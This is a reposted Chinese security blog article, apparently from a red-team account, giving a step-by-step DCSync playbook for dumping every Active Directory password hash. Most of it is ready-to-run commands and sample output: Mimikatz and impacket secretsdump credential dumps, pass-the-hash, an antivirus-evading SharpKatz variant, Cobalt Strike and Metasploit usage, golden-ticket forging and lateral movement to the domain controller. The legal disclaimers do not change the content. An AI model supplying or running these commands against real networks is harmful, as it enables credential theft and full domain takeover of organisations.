文章总结: 本文详细解析DCSync攻击技术,该技术利用ActiveDirectory域服务的DRSAPI接口模拟域控制器身份,直接导出域内所有用户NTLM哈希(包括KRBTGT账户)。文档提供Mimikatz、Impacket、SharpKatz及CobaltStrike等工具的实战命令,涵盖黄金票据生成、横向移动等内网渗透全流程,同时强调该技术仅限合法安全研究使用。 综合评分: 85 文章分类: 内网渗透,红队,漏洞分析,实战经验,安全工具
Dcsync-域渗透
原创
Nulltype Nulltype
LHACK安全
2026年4月22日 10:01 北京
在小说阅读器读本章
去阅读
免责申明
本文内容仅用于信息安全防御技术的学习与研究,旨在提升安全意识与防护能力。请读者严格遵守《中华人民共和国网络安全法》等相关法律法规,严禁将本文所涉技术用于任何非法用途。因擅自使用本文内容而引发的一切法律责任,由使用者自行承担,作者不负任何责任。
一句话理解
DCSync 是一种利用微软 Active Directory 域服务原生复制机制的攻击技术,攻击者通过模拟域控制器身份,向目标域控制器请求复制目录数据,借助 DRSAPI 接口的合法特性,无需落地文件即可直接导出域内所有用户的 NTLM 密码哈希,包括 KRBTGT 账号哈希,是内网渗透中获取完整域凭证、实现横向移动与权限持久化的核心手段之一。
实战场景
场景:已拿到域内任意一台机器权限
攻击路径:普通用户 → 本地提权 → 域管权限 → DCSync → 导出所有哈希
方法一:Mimikatz DCSync
已获得以下任一权限:
- 域管理员账号密码
- 域管理员 NTLM 哈希
- 企业管理员权限
- 具有 DCSync 权限的账户
实战命令
# 1. 提权到 SYSTEMmimikatz.exe "privilege::debug" "exit"
# 2. Pass-the-Hash 到域管账户mimikatz.exe "sekurlsa::pth /user:administrator /domain:target.com /ntlm:31d6cfe41d34ae648357b0f2a4ffd123" "exit"
# 3. 执行 DCSync - 最常用mimikatz.exe "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"# 输出 KRBTGT 哈希,用于黄金票据
# 4. 导出所有域用户哈希mimikatz.exe "lsadump::dcsync /domain:target.com /all" "exit"
# 5. 只导出特定用户mimikatz.exe "lsadump::dcsync /domain:target.com /user:administrator" "exit"
# 6. 指定域控制器(当前机不在域内)mimikatz.exe "lsadump::dcsync /domain:target.com /dc:dc01.target.com /user:krbtgt" "exit"
实战输出示例
mimikatz.exe "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"
Domain : target.comServiceKey : 3f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5
* User account Username : krbtgt NTLM : 8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5 SID : S-1-5-21-1234567890-1234567890-1234567890-502
方法二:impacket-secretsdump.py(Linux 下首选)
安装
git clone https://github.com/fortra/impacket.gitcd impacketpip install .
实战命令
# 1. 使用密码认证python3 secretsdump.py -just-dc target.com/administrator:P@[email protected]
# 2. 使用 NTLM 哈希认证(最常用)python3 secretsdump.py -just-dc -hashes :31d6cfe41d34ae648357b0f2a4ffd123 target.com/[email protected]
# 3. 导出所有哈希到文件python3 secretsdump.py -just-dc target.com/administrator:P@[email protected] > domain_hashes.txt
# 4. 导出历史密码哈希(有些用户改过密码,旧密码可能还能用)python3 secretsdump.py -just-dc -history target.com/administrator:P@[email protected]
# 5. 只导出 NTDS.dit(不导出本地 SAM)python3 secretsdump.py -just-dc -ntds target.com/administrator:P@[email protected]
# 6. 使用 Kerberos 认证(票据传递)python3 secretsdump.py -just-dc -k target.com/[email protected]
# 7. 指定域控制器地址(IP 解析问题)python3 secretsdump.py -just-dc target.com/administrator:P@[email protected]
# 8. 从远程导出(当前机不在域内,远程导出)python3 secretsdump.py -just-dc target.com/administrator:P@[email protected] -output-file hashes.ntds实战输出示例
实战输出示例
$ python3 secretsdump.py -just-dc -hashes :31d6cfe41d34ae648357b0f2a4ffd123 target.com/[email protected]
Impacket v0.12.0 - Copyright 2023 Fortra
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Target system fully qualified domain name: target.com[*] Target system hostname: DC01[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe41d34ae648357b0f2a4ffd123:::Guest:501:aad3b435b51404eeaad3b435b51404ee:a87fba11a7b2c3d4e5f6a7b8c9d0e1f:::KRBTGT:502:aad3b435b51404eeaad3b435b51404ee:8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5:::sql_service:1103:aad3b435b51404eeaad3b435b51404ee:b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6:::
方法三:SharpKatz(免杀执行)
# 编译版本,绕过杀软SharpKatz.exe --Command "lsadump::dcsync /domain:target.com /user:krbtgt"
# 或使用 SharpDPAPISharpDPAPI.exe dcsync /user:krbtgt /domain:target.com
方法四:通过 Cobalt Strike / MSF
Cobalt Strike
# 上传 mimikatz 到目标bofupload mimikatz.x64.exe
# 执行 DCSyncmimikatz dcsync target.com krbtgt
# 或使用 BOF(更隐蔽)dcsync target.com
Metasploit
# 使用 kiwi 模块use post/windows/gather/credentials/mimikatz/cachedumpset SESSION 1run
# 或直接执行命令mimikatz_command = "lsadump::dcsync /domain:target.com /user:krbtgt"cmd_exec("mimikatz.exe \"#{mimikatz_command}\"")
完整流程
流程一:从外网打到域控
# 1. 信息收集 → 发现域控地址nslookup -type=srv _ldap._tcp.dc._msdcs.target.com
# 2. 拿到域管账号密码(可信息收集,可尝试ADCS等操作)
# 3. 用 secretsdump 导出所有哈希python3 secretsdump.py -just-dc target.com/admin:P@[email protected] > all_hashes.txt
# 4 . 继续横向利用 寻找运维机器或者重要机器
流程二:黄金票据持久化
# 1. DCSync 拿到 KRBTGT 哈希mimikatz "lsadump::dcsync /domain:target.com /user:krbtgt" "exit"# KRBTGT NTLM: 8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5
# 2. 获取域 SIDmimikatz "lsadump::lsa /patch" "exit"# Domain SID: S-1-5-21-1234567890-1234567890-1234567890
# 3. 生成黄金票据(伪造任意用户)mimikatz "kerberos::golden /user:admin /domain:target.com /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:8f7a1a8b3c4d5e6f7g8h9i0j1k2l3m4n5 /ptt" "exit"
# 4. 导入票据后访问域内资源dir \\dc01\c$psexec \\dc01 cmd.exeevil-winrm -i dc01 -u administrator
Q1: 提示 “Access Denied”
原因:当前账户没有 DCSync 权限解决: 1. 确认账户在 Domain Admins 或 Enterprise Admins 组 2. 检查是否被防火墙阻止 3. 尝试使用 -just-dc 参数
Q2: secretsdump 报错 “SessionError”
原因:密码错误或账户被锁定解决: 1. 确认账户未被锁定 2. 使用哈希认证:-hashes :nthash 3. 检查网络连通性
Q3: 导出哈希后无法 Pass-the-Hash
原因:导出的是 LM:NTLM 格式,LM 为空时要用 :nthash解决: 正确格式::31d6cfe41d34ae648357b0f2a4ffd123 冒号前面是空的,表示 LM 哈希为空
交流群
LHACK 安全技术交流群正式成立啦!
欢迎各位网安师傅进群交流、共同学习,一起探讨漏洞技术、实战经验、工具分享与行业前沿动态,营造良好的技术交流氛围。文末附群聊二维码,若二维码过期可直接私信公众号后台加我,获取最新进群方式。期待更多师傅一起交流技术、共同进步!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:LHACK安全 Nulltype Nulltype《Dcsync-域渗透》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论